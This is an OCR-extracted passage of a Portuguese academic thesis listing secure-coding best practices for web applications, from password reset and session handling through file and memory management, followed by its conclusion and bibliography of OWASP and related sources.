Os processos de redefinicdo de senhas e operagdes de mudancas devem
exigir os mesmos niveis de controle previstos para a criacdo de contas e

autenticagao.

Esquemas de pergunta/resposta (pré-definidas) usadas para a redefinicdo de
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senha devem evitar ataques que lancam respostas aleatorias, por exemplo
“livro favorito” € uma questao ruim, pois “A Biblia” € uma resposta muito

comum.

Se for usar redefinicdo de senha baseada em e-mail, somente envie um e-
mail para um enderego pré-definido contendo um link ou senha de acesso

temporario que permitem ao usuario redefinir a senha.
O tempo de validade das senhas e dos links temporarios devem ser curtos.

Exigir a mudanga de senhas temporarias na proxima vez que O usuario

realizar a autenticac&do no sistema.
Notificar o usuario quando a sua senha for reiniciada (reset).
Prevenir a reutilizagado de senhas.

As senhas devem ter pelo menos um dia de duracdo antes de poderem ser

alteradas para evitar ataques de reuso de senhas.

Garantir que a troca de senhas estejam em conformidade com os requisitos
estabelecidos na politica ou regulamento. Sistemas criticos podem exigir
alteragdes mais frequentes nas credenciais de seguranga. O tempo entre as

trocas de senhas devem ser controladas administrativamente.

Desabilitar a funcionalidade de lembrar a senha nos campos de senha do

navegador.

A data/hora da ultima utilizagdo (bem ou mal sucedida) de uma conta de

usuario deve ser comunicada ao usuario no seu préximo login.

Realizar monitoramento para identificar ataques contra varias contas de
usuario, utilizando a mesma senha. Este padrao de ataque € utilizado para
explorar o uso de senhas padrao.

Modificar todas as senhas que por padrao sao definidas pelos fornecedores,
bem como os identificadores de usuarios (IDs) ou desabilite as contas

associadas.
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- Exigir uma reautenticacédo dos usuarios antes da realizagdo de operagdes

criticas.

- Utilizar autenticagdo de multiplos fatores (utilizando simultaneamente token,

senha, etc) para contas altamente sensiveis ou de alto valor transacional.

- Caso for utilizar cédigo de terceiros para realizar a autenticagéo, inspecione
cuidadosamente o codigo para garantir se o mesmo nao é afetado por

qualquer codigo malicioso.

4.1.4 Gerenciamento de Sessao

E um conjunto de controles que ajudam a garantir que as aplicagbes web
lidem com sessbes HTTP de um modo seguro. Vulnerabilidades relacionadas: Falha

de Autenticacido e Gerenciamento de Sessao.

- Utilize controles de gerenciamento de sessao baseados no servidor ou em
framework. A aplicacdo deve reconhecer apenas os identificadores de sessao

como validos.

- A criacao dos identificadores de sessdo devem ser sempre realizados em um

sistema confiavel, por exemplo: centralizar todo controle no servidor.

- Usar algoritmos bem controlados que garantam a aleatoriedade dos

identificadores de sessao.

- Defina o dominio e o caminho para os cookies que contém identificadores de

sessdo autenticados para um valor devidamente restrito para o site.

« A funcionalidade de logout deve encerrar completamente a sessdo ou

conexao associada.

- A funcionalidade de logout deve estar disponivel em todas as paginas que

requerem autenticacao.

- Estabelecer um tempo de expiracdo da sessao que seja o mais curto
possivel, baseado no balanceamento dos riscos e requisitos funcionais do

negocio. Na maioria dos casos néao deve ser mais do que algumas horas.
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Nao permitir logins persistentes (sem prazo para expirar sessao) e realizar o
encerramento da sessao periodicamente, mesmo quando a sessao estiver
ativa. Especialmente para aplicagbes que suportam varias conexdes de rede
ou que se conectam a sistemas criticos. O tempo de encerramento deve
apoiar os requisitos de negécio, enquanto o usuario deve receber notificagao

suficientes para atenuar os impactos negativos destas medidas.

Se uma sessao estava estabelecida antes do /login, entdo esta sessédo deve

ser encerrada para que uma nova sessao seja estabelecida apds o login.

Gerar um novo identificador de sessdo quando houver alguma nova

autenticagao.
Nao permitir conexdes simultdneas com o mesmo identificador de usuario.

Nao expor os identificadores de sessdo em URLs, mensagens de erro ou
logs. Os identificadores de sessdo devem apenas ser localizados no
cabecgalho do cookie HTTP. Por exemplo, ndo trafegar os identificadores de

sessao na forma de parametros GET.

Proteger os dados de sessdo do lado servidor contra acessos nao
autorizados, por outros usuarios do servidor, através da implementacéo de

controle de acesso apropriado no servidor.

Gerar um novo identificador de sessao e desativar o antigo identificador
periodicamente. Isto pode mitigar certos cenarios de ataques de sequestro de
sessdo (session hijacking), quando o identificador de sesséo original €&

comprometido.

Gerar um novo identificador de sessao caso a seguranca da conexao mude
de HTTP para HTTPS, como pode ocorrer durante a autenticacao.
Internamente a aplicagao, é recomendavel utilizar HTTPS de forma constante

em vez de alternar entre HTTP para HTTPS.

Utilize mecanismos complementares ao mecanismo de gerenciamento de
sessao padrao para operagdes sensiveis do lado do servidor, como € o caso

de operagdes de gerenciamento de contas, através da utilizagdo de tokens
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aleatoérios ou parametros associados a sessao. Este método pode ser usado

para prevenir-se de ataques do tipo Cross Site Request Forgery.

« Utilize mecanismos complementares ao gerenciamento de sessao para
operagoes altamente sensiveis ou criticas utilizando tokens aleatérios ou

parametros em cada requisicao.

- Utilizar somente identificadores de sessdo gerados pelo sistema para
gerenciamento de sessdo do lado cliente. Evite usar parametros ou outros

dados fornecidos pelos clientes para o gerenciamento do estado.

- Configurar o atributo "secure" para cookies transmitidos através de uma

conexao TLS.

- Configurar os cookies com o atributo HittpOnly, a menos que seja
explicitamente necessario ler ou definir os valores dos cookies através de

scripts do lado cliente da aplicagao.

4.1.5 Controle de Acessos

E um conjunto de controles que libera ou nega o acesso a um recurso do
sistema a um usuario, ou qualquer outra entidade. Normalmente é baseado em
regras hierarquicas e privilégios individuais associados a papéis, porém também
inclui interagdes entre sistemas. Vulnerabilidades relacionadas: Falha de
Autenticacdo e Gerenciamento de Sessdo, Referéncia Insegura Direta a Objeto,

Falha ao Restringir Acesso a URL.

- Utilizar apenas objetos do sistema que sejam confiaveis, como ocorre com os
objetos de sessao do servidor, para realizar a tomada de decisbes de

autorizag¢ao de acesso.

« Utilize um unico componente em todo o site para realizar o processo de
verificacdo de autorizagdo de acesso. Isso inclui bibliotecas que invocam os

servicos externos de autorizagao.

«  Quando ocorrer alguma falha no controle de acesso elas devem ocorrer de

modo seguro.
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Negar todos os acessos caso a aplicagdo nao consiga ter acesso as

informagdes contidas na configuragdo de seguranca.

Garantir o controles de autorizagao em todas requisi¢oes, inclusive em scripts
do lado do servidor, "includes" e requisi¢des provenientes de tecnologias do

lado cliente, como AJAX e Flash.

Separar os trechos de cédigo que contenham a logica privilegiada da

aplicacao do restante do codigo da aplicagao.

Restringir 0 acesso aos arquivos e outros recursos, incluindo aqueles que

estao fora do controle direto da aplicagdo, somente a usuarios autorizados.
Restringir o acesso as URLs protegidas somente aos usuarios autorizados.
Restringir o acesso as fungdes protegidas somente aos usuarios autorizados.

Restringir o acesso as referéncias diretas aos objetos somente aos usuarios

autorizados.
Restringir o acesso aos servigos somente aos usuarios autorizados.

Restringir o acesso aos dados da aplicagdo somente aos usuarios

autorizados.

Restringir o acesso aos atributos e dados dos usuarios, bem como

informagdes das politicas usadas pelos mecanismos de controle de acesso.

Restringir o acesso as configuragdes de seguranca relevantes apenas para

usuarios autorizados.

As regras de controle de acesso representados pela camada de

apresentacao devem coincidir com as regras presentes no lado servidor.

Se o0 estado dos dados devem ser armazenados no lado cliente, utilize
mecanismos de criptografia e verificagdo de integridade no lado servidor para

detectar possiveis adulteragcdes no estado dos dados.

Garantir que os fluxos logicos da aplicagao respeitem as regras de negaocio.
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« Limitar o numero de transagdes que um unico usuario ou dispositivo podem
executar em um determinado periodo de tempo. As transagdes por periodo
de tempo devem estar acima da necessidade real do negdcio, mas abaixo o

suficiente para impedir ataques automatizados.

« Use o campo “referer’ do cabecalho somente como forma de verificacdo
suplementar. Ele ndo deve ser usado sozinho como forma de checagem de

autorizagao, pois o valor deste campo pode ser adulterado.

- Se é permitido a permanéncia de sessdes autenticadas por longos periodos
de tempo, faga revalidacdo periddica da autorizagdo do usuario para garantir
que seus privilégios nao foram modificados e caso forem, realize o registro

em log do usuario e exija nova autenticagao.

- Implementar a auditoria das contas de usuario e assegure a desativagao de
contas nao utilizadas. Por exemplo: apés ndao mais do que 30 dias apos
expirar a senha da conta, a mesma deve ser desativada.

- A aplicacdo deve dar suporte a desativacdo de contas e encerramento das
sessdes quando encerrar a autorizagao do usuario, por exemplo: quando
ocorrem alteragdes de mudanga de papéis de usuario, situagao profissional,

processos de negaocio, etc.

- As contas de servico ou contas de suporte a conexdes provenientes ou

destinadas a servigos externos devem possuir o menor privilégio possivel.

« Criar uma Politica de Controle de Acesso para documentar as regras de
negocio da aplicagao, tipos de dados e critérios ou processos de autorizagéo
de acesso para que estes possam ser devidamente concedidos e
controlados. Isso inclui identificar requisitos de acessos, tanto para os dados,

como para os recursos do sistema.

4.1.6 Praticas de Criptografia

E um conjunto de controles que garantem que as operacdes de criptografia

dentro da aplicacdo sejam executadas de modo seguro. Vulnerabilidades
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relacionadas: Armazenamento Criptografico Inseguro.

- Todos as funcgdes de criptografia utilizados para proteger dados sensiveis dos
usuarios da aplicacdo devem ser implementados em um sistema confiavel

(neste caso o servidor).
- A senha mestre deve ser protegida contra acessos nao autorizados.

«  Quando ocorrer alguma falha dos modulos de criptografia, permitir que as
falhas ocorram de modo seguro.

. Todos os numeros aleatérios, nomes de arquivos aleatérios, GUIDs
aleatdrios, e strings aleatdérias devem ser geradas usando um modulo
criptografico com gerador de numeros aleatdrios aprovado somente se os

valores aleatorios gerados forem impossiveis de serem deduzidos.

- Os modulos de criptografia usados pela aplicagdo devem ser compativeis

com a FIPS 140-2 ou padrao equivalente.

- Estabelecer e utilizar uma politica e processo que define como é realizado o

gerenciamento das chaves de criptografia.

4.1.7 Tratamento de Erros e Log

E um conjunto de praticas que garantem que a aplicago realiza o tratamento
dos erros de modo seguro, como também realiza de modo apropriado o registro de
log dos eventos. Vulnerabilidades relacionadas: Vazamento de Informacbes e

Tratamento Inapropriado de Erros.

- N&o exponha informagdes sensiveis nas repostas de erros, inclusive detalhes

de sistema, identificadores de sessao ou informacéo da conta do usuario.

- Use mecanismos de tratamento de erros que ndo exibam informacgdes de

debug ou informagdes da pilha de excegéao.
- Implemente mensagens de erro genéricas e paginas de erro personalizadas.

- A aplicacao deve tratar seus erros sem confiar nas configuragbes do servidor.
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A memoria alocada deve ser liberada de modo apropriado quando ocorrerem

condicdes de erro.

O tratamento de erros logicos associados com controles de seguranga devem

por padrdo negar 0 acesso.

Todos os controles de log devem ser implementados em um sistema

confiavel (neste caso o servidor).

Os controles de log devem dar suporte tanto para os casos de sucesso ou

falha relacionados a eventos de segurancga especificos.
Garantir que os logs armazenam eventos importantes.

Garantir que as entradas de /og que incluem dados nao confiaveis nao sejam

executadas como um cddigo na interface de visualizagao de logs.
Restringir o acesso aos logs apenas para pessoal autorizado.
Utilizar uma rotina centralizada para realizar todas operacdes de /og.

Nao armazenar informagdes sensiveis nos registros de logs, como detalhes

desnecessarios do sistema, identificadores de sessao e senhas.

Garantir o uso de algum mecanismo que conduza (ou facilite) o processo de

analise de logs.
Registrar em log todas as falhas de validagao de entrada de dados.

Registrar em log todas as tentativas de autenticacéo, especialmente as falhas

de autenticagao.
Registrar em log todas as falhas de controle de acesso.

Registrar em Jlog todos os eventos aparentes de adulteragdes, inclusive

alteragdes inesperadas no estado dos dados.

Registrar em log as tentativas de conexdo com tokens de sesséo invalidos ou

expirados.
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- Registrar em log todas as exceg¢des langadas pelo sistema.

« Registrar em log todas as fungdes administrativas, inclusive as mudancgas

realizadas nas configuragdes de seguranca.
- Registrar em log todas as falhas de conexao TLS com o backend.
- Registrar em log todas as falhas que ocorreram nos médulos de criptografia.

- Utilizar uma funcdo de hash criptografica para validar a integridade dos

registros de log.

4.1.8 Protecao de Dados

E um conjunto de controles que ajuda a garantir que o software trata o
armazenamento das informagdes de modo seguro. Vulnerabilidades relacionadas:
Referéncia Insegura Direta a Objeto, Vazamento de Informagdes e Tratamento
Inapropriado de Erros, Armazenamento Criptografico Inseguro, Falha ao Restringir
Acesso a URL.

- Implementar politica de privilégio minimo, restringindo os usuarios apenas as
funcionalidades, dados e informacbes do sistema que sdo necessarias para

executar suas tarefas.

- Proteger todas as copias temporarias ou registradas em cache que
contenham dados sensiveis e estejam armazenados no servidor contra
acesso nao autorizado e realizar a remogao destes arquivos tdo logo nao

sejam mais necessarios.

- Criptografar informagdes altamente sensiveis quando armazenadas, como
dados de verificagdo de autenticacdo, mesmo que estejam no lado servidor.
Sempre usar algoritmos bem controlados. Consulte a segdo que trata sobre

“Préticas de Criptografia” para orientagdes adicionais.

- Proteger o codigo-fonte presente no servidor para que nao sejam baixados

por algum usuario.

- Nao armazenar senhas, strings de conexdao ou outras informagdes
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confidenciais em texto claro ou em qualquer forma criptograficamente
insegura no lado cliente. Isso vale também quando ha incorporagao de
formatos inseguros como: MS Viewstate, Adobe Flash ou cédigo compilado

qgue roda no lado cliente.

«  Remover comentarios do codigo de produgdo que sao acessiveis pelos
usuarios e podem revelar detalhes internos do sistema ou outras informacodes

sensiveis.

- Remover aplicacbes desnecessarias e documentacdo do sistema que

possam revelar informagdes importantes para os atacantes.
« Nao incluir informagdes sensiveis nos parametros de requisicao HTTP GET.

- Desabilitar a funcionalidade de auto completar nos formularios que

contenham informacdes sensiveis, inclusive no formulario de autenticagao.

- Desabilitar o cache realizado no lado cliente das paginas que contenham
informagdes sensiveis. O parametro “Cache-Control: no-store”, pode ser
usado em conjunto com o controle definido no cabegalhos HTTP “Pragma:

no-cache”, que € menos efetivo, mas é compativel com HTTP/1.0.

- A aplicagao deve dar suporte a remocao de dados sensiveis quando os
mesmos nao forem mais necessarios. Por exemplo: informacado pessoal ou

determinados dados financeiros.

- Implementar mecanismos de controle de acesso apropriados para dados
sensiveis armazenados no servidor. Isto inclui dados em cache, arquivos
temporarios e dados que devem ser acessiveis somente por usuarios

especificos do sistema.

4.1.9 Seguran¢a nas comunicagoes

E um conjunto de controles que ajudam a garantir o envio e o recebimento
das informagbées de modo seguro. Vulnerabilidades relacionadas: Protecéo

Insuficiente da Camada de Transporte.
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- Utilizar criptografia na transmissdo de todas as informagdes sensiveis. Isto
deve incluir TLS para proteger a conexdo e deve ser complementado por
criptografia de arquivos que contem dados sensiveis ou conexdes que nao
usam o protocolo HTTP.

« Os certificados TLS devem ser validos, possuir o nome de dominio correto,
nao estarem expirados e serem instalados com certificados intermediarios,

quando necessario.

. Quando ocorre falha nas conexdes TLS, o sistema ndo deve retornar uma

conexao insegura.

- Utilizar conexdes TLS para todo conteudo que requer acesso autenticado ou
manutenc¢ao da confidencialidade das informagdes sensiveis.

« Utilizar um padrao unico de implementagdo TLS que é configurado de modo

apropriado.
- Especificar a codificagdo dos caracteres para todas as conexdes.

- Filtrar os parametros que contenham informagdes sensiveis, provenientes do

HTTP referer, quando realizar apontamentos para sites externos.

4.1.10 Configuragao do Sistema

E um conjunto de controles que ajudam a garantir se os componentes de
infraestrutura de apoio ao software sao implementados de forma segura.
Vulnerabilidades relacionadas: Configuracdo Inadequada do Ambiente de

Execucao.

« Garantir que os servidores, frameworks e componentes do sistema estdo

executando a ultima vers&o aprovada.

- Garantir que os servidores, frameworks e componentes do sistema possuam

os patches mais recentes aplicados para a versdo em uso.

« Desabilitar a listagem de diretérios.
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Restringir os privilégios do servidor web, dos processos e das contas de

servigos para o minimo possivel.

Quando excegdes ocorrem no sistema, permitir que as falhas ocorram de

modo seguro.
Remover todas as funcionalidades e arquivos desnecessarios.

Remover o cddigo de teste ou qualquer funcionalidade desnecessaria para o

ambiente de producio, antes que seja realizada a implantagao do sistema.

Prevenir a divulgacdo da estrutura de diretdrios impedindo que robds de
busca facam indexacdo de arquivos sensiveis, através da correta
configuragdo do arquivo “robots.txt”, definindo diretérios que devem ser
inacessiveis a estes indexadores em um diretério subjacente isolado. Assim,
o acesso ao diretério pai definido no arquivo “robots.txt” deve estar

desabilitado em vez de desabilitar cada diretoério individualmente.

Definir quais métodos HTTP, GET ou POST, a aplicacéo ira suportar e se

serdo tratados de modo diferenciado nas diversas paginas da aplicagao.

Desativar os métodos HTTP desnecessarios, como extensdes WebDAV.
Caso for necessario o uso de algum método HTTP estendido para suportar
manipulacdo de arquivos, entdo utilize algum mecanismo de autenticagao

bem controlado.

Se o servidor processa tanto requisicoes HTTP 1.0 e 1.1, certificar-se de que
ambos sao configurados de modo semelhante ou assegurar que qualquer
diferenga que possa existir sejam compreendidas (ex. manuseio de métodos
HTTP extendidos).

Remover informagdes desnecessarias presentes nos cabecalhos de resposta
HTTP que podem estar relacionadas ao sistema operacional, versao do

servidor web e frameworks de aplicagéo.

O armazenamento da configuragdo de seguranga para a aplicagado deve ser
capaz de ser produzida de forma legivel para dar suporte a auditoria.
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Implementar um sistema de gestdo de ativos para manter o registro dos

componentes e programas nele.

Isolar o ambiente de desenvolvimento da rede de producio e prover acesso
somente para grupos de desenvolvimento e testes. Os ambientes de
desenvolvimento comumente sdo configurados de modo menos seguro do
que os ambientes de produgdo. Assim, os atacantes podem usar esse
diferencial para descobrir vulnerabilidades compartilhadas ou encontrar

caminhos para explorar as vulnerabilidades.

Implementar um sistema de controle de mudancgas para gerenciar e registrar
as alteragdes no codigo, tanto do desenvolvimento, como dos sistemas em

producao.

4.1.11 Seguranca em Base de Dados

E um conjunto de controles que garantem que o software interaja com o

banco de dados de forma segura e garantem também que o banco de dados esteja
configurado de forma segura. Vulnerabilidades relacionadas: SQL Injection,
Referéncia Insegura Direta a Objeto, Configuracdo Inadequada do Ambiente de

Execucgéo, Falha ao Restringir Acesso a URL.

Usar consultas parametrizadas fortemente tipadas.

Utilizar validagao de entrada e codificagao de saida e assegure a abordagem
de meta-caracteres. Se houver falha, o comando no banco de dados nao

deve ser executado.
Certificar-se de que as variaveis sao fortemente tipadas.
Realizar a codificagcédo (escaping) de meta caracteres em instru¢cdes SQL.

A aplicagdo deve usar o menor nivel possivel de privilégios ao acessar o

banco de dados.
Usar credenciais seguras para acessar o banco de dados.

As strings de conexdo nado devem ser codificadas na aplicagdo. A string de
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conexao deve ser armazenada em um arquivo de configuragdo separado em

um sistema confiavel e as informagdes devem ser criptografadas.

Usar procedimentos armazenados (stored procedures) para abstrair o acesso
aos dados e permitir a remocg¢ao das permissdes das tabelas no banco de

dados.
Encerrar a conexao tao logo seja possivel.

Remover ou modificar todas as senhas padrdo de contas administrativas.
Utilizar senhas robustas (incomuns ou dificeis de deduzir) ou implementar
autenticagdo de multiplos fatores. Desabilitar qualquer funcionalidade
desnecessaria no banco de dados, como stored procedures ou Servigos
desnecessarios. Instale o minimo conjunto de componentes ou opgodes

necessarias (método de redugcao da area de superficie).

Eliminar o conteudo desnecessario incluido por padrédo pelo fornecedor, ex:

esquemas de exemplo.

Desabilitar todas as contas criadas por padrdo e que ndo sdo necessarias

para suportar os requisitos de negdcio.

A aplicacdo deve se conectar ao banco de dados com diferentes credenciais
de seguranga para cada tipo de necessidade, como: usuario, somente leitura,

convidado, administrador, etc.

4.1.12 Gerenciamento de Arquivos

E um conjunto de controles que abrangem a interacdo entre o cddigo da

aplicacdo e os arquivos do sistema. Vulnerabilidades relacionadas: Referéncia

Insegura Direta a Objeto, Upload de Arquivos de Tipos Perigosos, Configuragao

Inadequada do Ambiente de Execugao.

Nao repassar dados fornecidos pelos usuarios diretamente a uma funcao de

inclusdo dindmica.

Solicitar autenticagao antes de permitir que seja feito o upload de um arquivo.
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Limitar os tipos de arquivos que podem ser enviados para aceitar somente os

tipos que sdo necessarios para os propositos do negocio.

Validar se os arquivos enviados sao do tipo esperado através da checagem
dos cabecalhos. Realizar a verificagdo de tipo de arquivo apenas pela

extensao nao é suficiente.

Nao salvar arquivos no mesmo diretério de contexto da aplicagdao web. Os
arquivos devem ser armazenados no servidor de conteudos ou na base de

dados.

Prevenir ou restringir upload de qualquer arquivo que possa ser interpretado

pelo servidor web.
Desabilitar privilégios de execugao nos diretérios de upload de arquivos.

Implementar o upload seguro nos ambientes UNIX por meio da montagem do
diretério de destino como um unidade légica, usando o caminho associado ou

o ambiente de chroot.

No referenciamento de arquivos existentes, use uma lista branca (white list)
de nomes e tipos de arquivos permitidos. Realize a validagdo do valor do
parametro passado e caso n&o corresponda ao que € esperado, rejeite a

entrada ou utilize um valor de arquivo especificado por padrao pela aplicacao.

Nao transmitir sem nenhum tratamento os dados informados pelo usuario a
redirecionamentos dindmicos. Se isto deve ser permitido, entdo o

redirecionamento deve aceitar somente URLSs relativas e validadas.

Nao passar parametros de caminhos de diretérios ou arquivos nas
requisicbes. Utilize algum mecanismo de mapeamento dos caminhos em
disco para indices que sao repassados para 0s usuarios e servem para

serem mapeados em uma lista pré-definida de caminhos dos arquivos.
Nunca enviar o caminho absoluto do arquivo para o cliente.

Certificar-se de que os arquivos da aplicagcdo e os recursos sao do tipo

somente leitura.
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Escanear arquivos que os usuarios submeteram por mecanismo de upload

em busca de virus e malwares.

4.1.13 Gerenciamento de Memoria

E um conjunto de controles que tratam do uso de memodria e do buffer.

Apesar de aparentemente ndo ter relacdo direta com as vulnerabilidades
apresentadas, o gerenciamento de memoria € um item de grande importancia, pois
pode evitar que comportamentos especificos do uso de memoria e buffer de

determinadas tecnologias sejam explorados pelos atacantes.

Utilize controle de entrada/saida para dados n&o confiaveis.
Verificar se o buffer é tdo grande quanto o especificado.

Ao usar fungdes que aceitam um determinado numero de bytes para realizar
copias, como strncpy(), esteja ciente de que se o tamanho do buffer de
destino for igual ao tamanho do buffer de origem, ele ndo pode encerrar a

sequéncia de caracteres com valor nulo (null).

Verificar os limites do buffer caso as chamadas a funcédo sao realizadas em
um Joop e verificar se ndo ha nenhum perigo de escrever além do espaco
alocado.

Truncar todas as strings de entrada para um tamanho razoavel antes de

passa-las para as fungdes de copia e concatenacgao.

Encerre os recursos de modo especifico, sem contar com o garbage collector
na liberagcdo dos recursos alocados para objetos de conexao, identificadores
de arquivo, etc.

Usar pilhas ndo executaveis, quando disponiveis.

Evitar o uso de fungdes reconhecidas por serem vulneraveis, por exemplo:
printf, strcat, strcpy, etc.

Liberar a memdria alocada de modo apropriado apds concluir a sub-rotina

(funcdo/método) e em todos os pontos de saida.
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4.1.14 Praticas Gerais de Codificagao

E um conjunto de controles que abrangem praticas de codificacdo que ndo
se encaixam facilmente em outras categorias. Relacionam-se direta ou

indiretamente com todas as vulnerabilidades apresentadas.

- Utilizar sempre codigo testado, gerenciado e aprovado em vez de criar cddigo

novo, ndo gerenciado, para tarefas comuns.

- Utilizar APIs que embutem tarefas especificas para realizar tarefas do
sistema operacional. Nao permitir que a aplicacdo execute comandos
diretamente no sistema operacional, especialmente através da utilizacdo de

shells de comando iniciados pela aplicagao.

- Utilize mecanismo de verificacdo de integridade por checksum ou hash para
verificar a integridade do cddigo interpretado, bibliotecas, arquivos

executaveis e arquivos de configuracao.

. Utilize mecanismos de lock para evitar requisicdes simultdneas para a
aplicagcao ou utilize um mecanismo de sincronizag&o para evitar condi¢cdes de

disputa (race conditions).

- Proteja as variaveis compartilhadas e recursos contra acessos concorrentes

inapropriados.

- Inicialize explicitamente todas as variaveis e outros dados persistidos, durante

a declaragao ou antes do primeiro uso da variavel.

«  Nos casos em que a aplicacdo deve ser executada com privilégios elevados,
aumente os privilégios o mais tarde possivel e revogue os privilégios tao logo

seja possivel.

- FEvitar erros de calculo decorrentes da falta de entendimento da
representacdo interna da linguagem de programacdo usada e como €
realizada a interagdo com os aspectos de calculo numérico. Assim, deve-se
prestar bastante atencdo para as discrepancias de tamanho de byte,

precisado, distingbes de sinal (signed/unsigned), truncamento, conversdo e
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casting entre os tipos, calculos que devolvem erros do tipo “not-a-
number”, e também como a linguagem de programacgao trata numeros muito

grandes ou muito pequenos para sua representagao interna.

- Nao repassar diretamente dados fornecidos pelo usuario para qualquer
funcao de execugao dindmica, sem antes realizar o tratamento dos dados de

modo adequado.
« Restringir os usuarios de gerar um novo codigo ou alterar o cédigo existente.

- Revisar todas as aplicagdes secundarias, codigos e bibliotecas de terceiros
para determinar a necessidade do negocio e validar as funcionalidades de

seguranga, uma vez que estas podem introduzir novas vulnerabilidades.

- Implementar atualizagdes de modo seguro. Se a aplicagdo deve realizar
atualizagdes automaticas, entdo utilize mecanismos de assinatura digital para
garantir a integridade do cddigo e garanta que os clientes fagam a verificagéo
da assinatura apds o download. Use canais criptografados para transferir o

cbdigo a partir do host do servidor.

Neste capitulo foi apresentado um conjunto de boas praticas de
programagao que visam mitigar o maior numero possivel das vulnerabilidades mais
exploradas em aplicacbes Web, durante seu desenvolvimento. Além disso, foi
apresentado algumas recomendacgbes as organizagdes na tarefa de adogdo das

boas praticas.

Na apresentacédo das boas praticas de programacao pode-se constatar que
a implementacdao de codigo recomendada difere significativamente de uma
implementagao de codigo despreocupada com as questdes de seguranga, por isso,
a melhor estratégia para tratar as vulnerabilidades de seguranga € incorporar um
conjunto de boas praticas durante o processo de desenvolvimento da aplicagao,
com o intuito de mitigar o maior numero de vulnerabilidades possivel. Dessa forma,
os impactos da exploragdo de alguma vulnerabilidade remanescente e o esforgo
para adequar o codigo serdao significativamente reduzidos. Deve-se ressaltar
também que a adogdo das boas praticas de programagéo ndo é responsabilidade

exclusiva dos desenvolvedores, mas também das organiza¢des que devem fornecer
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0S recursos necessarios para que as boas praticas sejam aplicadas efetivamente,
sejam disseminadas entre os desenvolvedores e se tornem parte essencial do

processo padrdo de desenvolvimento da organizagao.
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CONCLUSAO

Através dos estudos sobre segurancga de aplicagdes foi possivel determinar
que a grande maioria das aplicagdes web possuem graves vulnerabilidades de
seguranga, que podem causar prejuizos enormes a uma organizagao ou pessoa,
dependendo da intencdo do atacante que explora essas vulnerabilidades. Além
disso, também foi possivel identificar e categorizar quais sdo as vulnerabilidades
mais exploradas pelos ataques mal intencionados, para que se possa adotar

medidas a fim de preveni-las.

Pode-se concluir também que as vulnerabilidades mais exploradas sao
causadas principalmente pela codificacdo inadequada do sistema. Portanto, é
fundamental que os desenvolvedores conhecam as vulnerabilidades e estratégias
de prevencgao, fazendo com que a preocupagao com os aspectos de seguranga se
tornem parte do processo de desenvolvimento e da cultura organizacional. Assim, &
necessario que boas praticas de codificagdo que contemplem os aspectos de
seguranca sejam definidas, padronizadas e seguidas durante todo o processo de

desenvolvimento do sistema.

Sendo assim, fica claro que uma aplicagao segura nao depende apenas do
conhecimento e experiéncia do desenvolvedor no momento da codificagdo, também
€ necessario que a organizagao tenha politicas e padrdes de seguranga claramente
definidos e adotados, fornega treinamento adequado a seus desenvolvedores e
reserve recursos e tempo no orgamento do projeto para cuidar das questbes de

seguranca.

A contribuicdo mais relevante deste trabalho se deu através da abordagem
unificada de trés pontos principais: (1)ldentificacdo e caracterizagdo das principais
vulnerabilidades em aplicagdes Web, (2)Explanagao das estratégias de prevengao e
(3)Apresentacdo de um conjunto de boas praticas de programagao a fim de mitigar

as vulnerabilidades.

Materiais referentes a seguranca de aplicagcbes ainda sio relativamente
escassos, complexos, desconexos e limitados a determinadas tecnologias, portanto,

este trabalho se torna uma importante contribuicdo pois aborda as questdes de
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segurangca de forma conjunta e, na medida do possivel, independente de
tecnologias especificas. Com um conteudo objetivo e relativamente curto, este
trabalho podera ser utilizado como referéncia para os primeiros passos de
organizagbes e desenvolvedores na adequacgdo de aplicagbes aos aspectos de

segurancga abordados.



90

REFERENCIAS BIBLIOGRAFICAS

CENZIC. Web Application Security Trends Report Q3-Q4, 2009. [S..], 2009.
Disponivel em: <http://www.cenzic.com/downloads/Cenzic_AppsecTrends Q3-Q4-
2009.pdf>. Acessado em 29/01/2011.

MITRE CORPORATION. 2010 CWE/SANS Top 25 Most Dangerous Software
Errors. [S.1.], 2010. Disponivel em:
<http://cwe.mitre.org/top25/archive/2010/2010_cwe_sans_top25.pdf>. Acessado em
22/01/2011.

OWASP FOUNDATION. Melhores Praticas de Codificagao Segura OWASP: Guia
de Referéncia Rapida. Tradugao Leandro Resende Gomes; Silvio Fernando Correia
Vieira Filho; Tarcizio Vieira Neto. Versao 1.1. [S.l.], 2010. Disponivel em:
<http://www.owasp.org/images/d/d8/OWASP_SCP_Quick Reference PT-
BR_v1.1.pdf>. Acessado em 05/02/2011.

OWASP FOUNDATION. OWASP TOP 10 2010: The Ten Most Critical Web
Application Security Risks. [S.l.], 2010. Diposnivel em:
<http://www.owasp.org/images/0/0f/ OWASP_T10_-_2010_rc1.pdf>. Acessado em
Acessado em 05/02/2011.

OWASP FOUNDATION. OWASP TOP 10 2007: Vulnerabilidades de Aplicagdes
Web. [S.I.], 2007. Traducgao Leonardo Cavallari; Marcos Aurélio Rodrigues.
Disponivel em: <http://www.owasp.org/images/4/42/OWASP_TOP_10_2007_PT-
BR.pdf>. Acessado em Acessado em 05/02/2011.

PONEMON INSTITUITE. State of Web Application Security. [S.l.], 2010.
Disponivel em: <http://www.techrepublic.com/whitepapers/state-of-the-web-
application-security-trends-over-6-years/1177895/post>. Acessado em 05/02/2011.




91

REFERENCIAS CONSULTADAS

BHARGAYV, Abhay; KUMAR, B.V. Secure Java for Web Application. Boca Raton:
Taylor & Francis Group , 2011. E-book.

BRANDAO, Cleber; BRAZ, Fabricio Ataides; MILITELLI, Leonardo Cavallari;
RODRIGUES , Marcos Aurélio; HAMADA, Myke; MONTORO, Rodrigo. OWASP
TOP 10 2007: As 10 vulnerabilidades de seguranga mais criticas em aplicagoes
WEB. [S.1.], 2007. Diposnivel em:
<http://www.owasp.org/images/4/42/OWASP_TOP_10_2007_PT-BR.pdf>.
Acessado em 05/02/2011.

BRENTON, Chris ; BIRD, Tina ; RANUM, Marcus J. . SANS Top 5 Essential Log
Reports. Versédo 1.0 . [S.1.], [20067]. Diposnivel em: <http://www.sans.org/security-
resources/top5_logreports.pdf>. Acessado em 05/03/2011.

CENZIC. Enabling Security in the Software Development Life Cycle (SDLC).
[S.I.], 2010. Disponivel em: <http://www.cenzic.com/downloads/EnablingSecurity-
SDLC.pdf>. Acessado em 29/01/2011.

CENZIC. Web Application Security Trends Report Q3-Q4, 2008. [S.l.], 2008.
Disponivel em: <http://www.cenzic.com/downloads/Cenzic_AppsecTrends_Q3-Q4-
2008.pdf>. Acessado em 29/01/2011.

COMITE GESTOR DA INTERNET NO BRASIL. Cartilha de Seguranga para
